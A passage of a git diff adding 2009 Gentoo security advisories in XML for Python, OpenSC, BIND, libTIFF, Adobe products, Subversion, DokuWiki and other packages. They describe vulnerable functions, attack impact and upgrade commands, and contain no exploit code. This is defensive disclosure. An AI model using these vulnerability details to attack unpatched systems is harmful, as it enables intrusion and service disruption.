+    Multiple integer overflows in Python have an unspecified impact.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>July 19, 2009</announced>
+  <revised>July 19, 2009: 01</revised>
+  <bug>246991</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.5.4-r2</unaffected>
+      <unaffected range="rge">2.4.6</unaffected>
+      <vulnerable range="lt">2.5.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented programming
+    language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans reported multiple integer overflows in the expandtabs
+    method, as implemented by (1) the string_expandtabs function in
+    Objects/stringobject.c and (2) the unicode_expandtabs function in
+    Objects/unicodeobject.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities in Python
+    applications or daemons that pass user-controlled input to vulnerable
+    functions. The security impact is currently unknown but may include the
+    execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python 2.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.5.4-r2&quot;</code>
+    <p>
+    All Python 2.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.4.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5031">CVE-2008-5031</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 13:26:22 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 19 Jul 2009 15:28:36 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Jul 2009 15:28:41 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-01.xml b/xml/htdocs/security/en/glsa/glsa-200908-01.xml
new file mode 100644
index 00000000..5617dd17
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-01.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-01">
+  <title>OpenSC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in OpenSC.
+  </synopsis>
+  <product type="ebuild">opensc</product>
+  <announced>August 01, 2009</announced>
+  <revised>August 01, 2009: 01</revised>
+  <bug>260514</bug>
+  <bug>269920</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-libs/opensc" auto="yes" arch="*">
+      <unaffected range="ge">0.11.8</unaffected>
+      <vulnerable range="lt">0.11.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSC provides a set of libraries and utilities to access smart cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in OpenSC:
+    </p>
+    <ul>
+    <li>b.badrignans discovered that OpenSC incorrectly initialises private
+    data objects (CVE-2009-0368).</li>
+    <li>Miquel Comas Marti discovered
+    that src/tools/pkcs11-tool.c in pkcs11-tool in OpenSC 0.11.7, when used
+    with unspecified third-party PKCS#11 modules, generates RSA keys with
+    incorrect public exponents (CVE-2009-1603).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    The first vulnerabilty allows physically proximate attackers to bypass
+    intended PIN requirements and read private data objects. The second
+    vulnerability allows attackers to read the cleartext form of messages
+    that were intended to be encrypted.
+    </p>
+    <p>
+    NOTE: Smart cards which were initialised using an affected version of
+    OpenSC need to be modified or re-initialised. See the vendor's advisory
+    for details.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/opensc-0.11.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0368">CVE-2009-0368</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1603">CVE-2009-1603</uri>
+    <uri link="http://www.opensc-project.org/pipermail/opensc-announce/2009-February/000023.html">OpenSC Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Jun 2009 16:49:20 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 29 Jul 2009 17:15:19 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Aug 2009 12:35:17 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-02.xml b/xml/htdocs/security/en/glsa/glsa-200908-02.xml
new file mode 100644
index 00000000..2cb6ab71
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-02.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-02">
+  <title>BIND: Denial of Service</title>
+  <synopsis>
+    Dynamic Update packets can cause a Denial of Service in the BIND daemon.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>August 01, 2009</announced>
+  <revised>August 01, 2009: 01</revised>
+  <bug>279508</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.4.3_p3</unaffected>
+      <vulnerable range="lt">9.4.3_p3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Matthias Urlichs reported that the dns_db_findrdataset() function fails
+    when the prerequisite section of the dynamic update message contains a
+    record of type "ANY" and where at least one RRset for this FQDN exists
+    on the server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker could send a specially crafted
+    dynamic update message to the BIND daemon (named), leading to a Denial
+    of Service (daemon crash). This vulnerability affects all primary
+    (master) servers -- it is not limited to those that are configured to
+    allow dynamic updates.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Configure a firewall that performs Deep Packet Inspection to prevent
+    nsupdate messages from reaching named. Alternatively, expose only
+    secondary (slave) servers to untrusted networks.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BIND users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.4.3_p3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0696">CVE-2009-0696</uri>
+    <uri link="https://www.isc.org/node/474">ISC advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 28 Jul 2009 21:43:47 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 01 Aug 2009 20:00:21 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-03.xml b/xml/htdocs/security/en/glsa/glsa-200908-03.xml
new file mode 100644
index 00000000..60dbda51
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-03.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-03">
+  <title>libTIFF: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple boundary checking vulnerabilities in libTIFF may allow for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>August 07, 2009</announced>
+  <revised>August 07, 2009: 01</revised>
+  <bug>276339</bug>
+  <bug>276988</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.8.2-r8</unaffected>
+      <vulnerable range="lt">3.8.2-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF (Tagged
+    Image File Format) images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been reported in libTIFF:
+    </p>
+    <ul>
+    <li>
+    wololo reported a buffer underflow in the LZWDecodeCompat() function
+    (CVE-2009-2285).
+    </li>
+    <li>
+    Tielei Wang of ICST-ERCIS, Peking University reported two integer
+    overflows leading to heap-based buffer overflows in the tiff2rgba and
+    rgb2ycbcr tools (CVE-2009-2347).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TIFF
+    file with an application making use of libTIFF or the tiff2rgba and
+    rgb2ycbcr tools, possibly resulting in the execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.8.2-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2285">CVE-2009-2285</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2347">CVE-2009-2347</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 09 Jul 2009 08:33:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 02:17:53 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:20:56 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-04.xml b/xml/htdocs/security/en/glsa/glsa-200908-04.xml
new file mode 100644
index 00000000..c4872d37
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-04.xml
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-04">
+  <title>Adobe products: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Adobe Reader and Adobe Flash Player allow for
+    attacks including the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">adobe-flash acroread</product>
+  <announced>August 07, 2009</announced>
+  <revised>August 07, 2009: 01</revised>
+  <bug>278813</bug>
+  <bug>278819</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">10.0.32.18</unaffected>
+      <vulnerable range="lt">10.0.32.18</vulnerable>
+    </package>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">9.1.3</unaffected>
+      <vulnerable range="lt">9.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Flash Player is a closed-source playback software for Flash SWF
+    files. Adobe Reader is a closed-source PDF reader that plays Flash
+    content as well.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Adobe Flash Player:
+    </p>
+    <ul>
+    <li>lakehu of Tencent Security Center reported an unspecified
+    memory corruption vulnerability (CVE-2009-1862).</li>
+    <li>Mike Wroe
+    reported an unspecified vulnerability, related to "privilege
+    escalation" (CVE-2009-1863).</li>
+    <li>An anonymous researcher through
+    iDefense reported an unspecified heap-based buffer overflow
+    (CVE-2009-1864).</li>
+    <li>Chen Chen of Venustech reported an
+    unspecified "null pointer vulnerability" (CVE-2009-1865).</li>
+    <li>Chen
+    Chen of Venustech reported an unspecified stack-based buffer overflow
+    (CVE-2009-1866).</li>
+    <li>Joran Benker reported that Adobe Flash Player
+    facilitates "clickjacking" attacks (CVE-2009-1867).</li>
+    <li>Jun Mao of
+    iDefense reported a heap-based buffer overflow, related to URL parsing
+    (CVE-2009-1868).</li>
+    <li>Roee Hay of IBM Rational Application Security
+    reported an unspecified integer overflow (CVE-2009-1869).</li>
+    <li>Gareth Heyes and Microsoft Vulnerability Research reported that the
+    sandbox in Adobe Flash Player allows for information disclosure, when
+    "SWFs are saved to the hard drive" (CVE-2009-1870).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    file or web site containing Adobe Flash (SWF) contents, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application, or a Denial of Service (application
+    crash). Furthermore, a remote attacker could trick a user into clicking
+    a button on a dialog by supplying a specially crafted SWF file and
+    disclose sensitive information by exploiting a sandbox issue.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-10.0.32.18&quot;</code>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-9.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862">CVE-2009-1862</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1863">CVE-2009-1863</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1864">CVE-2009-1864</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1865">CVE-2009-1865</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1866">CVE-2009-1866</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1867">CVE-2009-1867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1868">CVE-2009-1868</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1869">CVE-2009-1869</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1870">CVE-2009-1870</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 01 Aug 2009 14:34:28 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Aug 2009 13:16:39 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:32:24 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-05.xml b/xml/htdocs/security/en/glsa/glsa-200908-05.xml
new file mode 100644
index 00000000..f8313393
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-05">
+  <title>Subversion: Remote execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows, leading to heap-based buffer overflows in the
+    Subversion client and server might allow remote attackers to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">subversion</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 18, 2009: 01</revised>
+  <bug>280494</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/subversion" auto="yes" arch="*">
+      <unaffected range="ge">1.6.4</unaffected>
+      <vulnerable range="lt">1.6.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Subversion is a versioning system designed to be a replacement for CVS.
+    </p>
+  </background>
+  <description>
+    <p>
+    Matt Lewis of Google reported multiple integer overflows in the
+    libsvn_delta library, possibly leading to heap-based buffer overflows.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker with commit access could exploit this vulnerability
+    by sending a specially crafted commit to a Subversion server, or a
+    remote attacker could entice a user to check out or update a repository
+    from a malicious Subversion server, possibly resulting in the execution
+    of arbitrary code with the privileges of the user running the server or
+    client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Subversion users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/subversion-1.6.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2411">CVE-2009-2411</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Aug 2009 20:48:04 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 18 Aug 2009 19:08:11 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 18 Aug 2009 21:24:46 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-06.xml b/xml/htdocs/security/en/glsa/glsa-200908-06.xml
new file mode 100644
index 00000000..0d162b0f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-06">
+  <title>CDF: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple heap-based buffer overflows in CDF might result in the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cdf</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 18, 2009: 01</revised>
+  <bug>278679</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sci-libs/cdf" auto="yes" arch="*">
+      <unaffected range="ge">3.3.0</unaffected>
+      <vulnerable range="lt">3.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CDF is a library for the Common Data Format which is a self-describing
+    data format for the storage and manipulation of scalar and
+    multidimensional data. It is developed by the NASA.
+    </p>
+  </background>
+  <description>
+    <p>
+    Leon Juranic reported multiple heap-based buffer overflows for instance
+    in the ReadAEDRList64(), SearchForRecord_r_64(), LastRecord64(), and
+    CDFsel64() functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted CDF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CDF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-libs/cdf-3.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2850">CVE-2009-2850</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Aug 2009 15:21:56 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 14 Aug 2009 16:20:48 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 18 Aug 2009 21:24:15 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-07.xml b/xml/htdocs/security/en/glsa/glsa-200908-07.xml
new file mode 100644
index 00000000..60dfa23f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-07.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-07">
+  <title>Perl Compress::Raw modules: Denial of Service</title>
+  <synopsis>
+    An off-by-one error in Compress::Raw::Zlib and Compress::Raw::Bzip2 might
+    lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">Compress-Raw-Zlib Compress-Raw-Bzip2</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 18, 2009: 01</revised>
+  <bug>273141</bug>
+  <bug>281955</bug>
+  <access>remote</access>
+  <affected>
+    <package name="perl-core/Compress-Raw-Zlib" auto="yes" arch="*">
+      <unaffected range="ge">2.020</unaffected>
+      <vulnerable range="lt">2.020</vulnerable>
+    </package>
+    <package name="perl-core/Compress-Raw-Bzip2" auto="yes" arch="*">
+      <unaffected range="ge">2.020</unaffected>
+      <vulnerable range="lt">2.020</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Compress::Raw::Zlib and Compress::Raw::Bzip2 are Perl low-level
+    interfaces to the zlib and bzip2 compression libraries.
+    </p>
+  </background>
+  <description>
+    <p>
+    Leo Bergolth reported an off-by-one error in the inflate() function in
+    Zlib.xs of Compress::Raw::Zlib, possibly leading to a heap-based buffer
+    overflow (CVE-2009-1391).
+    </p>
+    <p>
+    Paul Marquess discovered a similar vulnerability in the bzinflate()
+    function in Bzip2.xs of Compress::Raw::Bzip2 (CVE-2009-1884).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might entice a user or automated system (for instance
+    running SpamAssassin or AMaViS) to process specially crafted files,
+    possibly resulting in a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Compress::Raw::Zlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=perl-core/Compress-Raw-Zlib-2.020&quot;</code>
+    <p>
+    All Compress::Raw::Bzip2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=perl-core/Compress-Raw-Bzip2-2.020&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1391">CVE-2009-1391</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1884">CVE-2009-1884</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Jul 2009 17:33:05 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Aug 2009 18:43:38 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:32:50 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-08.xml b/xml/htdocs/security/en/glsa/glsa-200908-08.xml
new file mode 100644
index 00000000..e1419628
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-08">
+  <title>ISC DHCP: dhcpd Denial of Service</title>
+  <synopsis>
+    dhcpd as included in the ISC DHCP implementation does not properly handle
+    special conditions, leading to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">dhcp</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 18, 2009: 01</revised>
+  <bug>275231</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dhcp" auto="yes" arch="*">
+      <unaffected range="ge">3.1.2_p1</unaffected>
+      <vulnerable range="lt">3.1.2_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC DHCP is the reference implementation of the Dynamic Host
+    Configuration Protocol as specified in RFC 2131.
+    </p>
+  </background>
+  <description>
+    <p>
+    Christoph Biedl discovered that dhcpd does not properly handle certain
+    DHCP requests when configured both using "dhcp-client-identifier" and
+    "hardware ethernet".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might send a specially crafted request to dhcpd,
+    possibly resulting in a Denial of Service (daemon crash).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ISC DHCP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dhcp-3.1.2_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1892">CVE-2009-1892</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 28 Jul 2009 17:01:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Aug 2009 19:40:02 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:32:31 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-09.xml b/xml/htdocs/security/en/glsa/glsa-200908-09.xml
new file mode 100644
index 00000000..29c1c620
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-09">
+  <title>DokuWiki: Local file inclusion</title>
+  <synopsis>
+    An input sanitation error in DokuWiki might lead to the dislosure of local
+    files or even the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">dokuwiki</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 19, 2009: 02</revised>
+  <bug>272431</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/dokuwiki" auto="yes" arch="*">
+      <unaffected range="ge">20090214b</unaffected>
+      <vulnerable range="lt">20090214b</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DokuWiki is a standards compliant Wiki system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    girex reported that data from the "config_cascade" parameter in
+    inc/init.php is not properly sanitized before being used.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute PHP code
+    from arbitrary local, or, when the used PHP version supports ftp://
+    URLs, also from remote files via FTP. Furthermore, it is possible to
+    disclose the contents of local files. NOTE: Successful exploitation
+    requires the PHP option "register_globals" to be enabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable "register_globals" in php.ini.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DokuWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/dokuwiki-2009-02-14b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1960">CVE-2009-1960</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Jul 2009 18:47:33 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Aug 2009 19:07:45 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Aug 2009 13:32:43 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200908-10.xml b/xml/htdocs/security/en/glsa/glsa-200908-10.xml
new file mode 100644
index 00000000..53664442
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200908-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200908-10">
+  <title>Dillo: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    An integer overflow in the PNG handling of Dillo might result in the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">dillo</product>
+  <announced>August 18, 2009</announced>
+  <revised>August 18, 2009: 01</revised>
+  <bug>276432</bug>
+  <access>remote</access>
